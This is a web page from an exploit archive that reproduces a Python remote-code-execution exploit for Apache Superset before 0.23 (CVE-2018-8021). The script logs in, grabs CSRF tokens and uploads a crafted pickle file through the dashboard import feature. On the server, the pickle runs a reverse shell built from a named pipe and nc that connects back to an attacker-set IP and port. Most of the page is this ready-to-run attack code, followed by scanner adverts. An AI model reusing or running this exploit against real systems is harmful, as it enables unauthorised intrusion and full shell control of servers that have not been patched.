apache superset < 0.23 remote code execution

▸▸▸ Exploit & Vulnerability >>   webapps exploit & linux vulnerability




apache superset < 0.23 remote code execution Code Code...
				
# Exploit Title: Apache Superset < 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Author: David May (david.may@semanticbits.com) # Vendor Homepage: https://superset.apache.org/ # Software Link: https://github.com/apache/incubator-superset # Version: Any before 0.23 # Tested on: Ubuntu 18.04 # CVE-ID: CVE-2018-8021 # I originally disclosed this to the Apache Superset team back in May, and the fix had already been # in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE. #!/usr/bin/env python import sys import os from lxml import html import requests # Change these values to your TCP listener myIP = '192.168.137.129' myPort = '8888' # Credentials must belong to user with 'can Import Dashboards on Superset' privilege username = 'test' password = 'test' # Logic in case script arguments are not given if len(sys.argv) < 3: print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...') print('Script Usage:') print('./supersetrce.py <superset server ip> <superset port>') sys.exit() else: # Script arguments supersetIP = sys.argv[1] supersetPort = sys.argv[2] # Verify these URLs match your environment login_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/' upload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards' # Checks to see if file that we are going to write already exists in case this is run more than once if os.path.isfile('evil.pickle'): os.remove('evil.pickle') # Headers that we append to our POST requests headers_dict = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0', 'DNT': '1', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', } # Creates evil pickle file and writes the reverse shell to it evilPickle = open('evil.pickle','w+') evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\'\ntR.') evilPickle.close() # Start a session so we have persistent cookies session = requests.session() # Grabs the Login page to parse it for its CSRF token login_page = session.get(login_URL) if login_page.status_code != 200: print('Login page not reached, verify URLs in script') login_tree = html.fromstring(login_page.content) csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value') # Form data that is sent in the POST request to Login page login_data = { 'csrf_token' : csrf_token, 'username' : username, 'password' : password, } # Adds the Referer header for the login page headers_dict['Referer'] = login_URL # Logon action login = session.post(login_URL, headers=headers_dict, data=login_data) # Grabs the Upload page to parse it for its CSRF token upload_page = session.get(upload_URL) if upload_page.status_code != 200: print('Upload page not reached, verify credentials and URLs in script') upload_tree = html.fromstring(upload_page.content) csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value') # Adds the Referer header for the Upload page headers_dict['Referer'] = upload_URL # Upload action upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')}) # Closes the session session.close() sys.exit()

Apache superset < 0.23 remote code execution Vulnerability / Exploit Source : Apache superset < 0.23 remote code execution



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.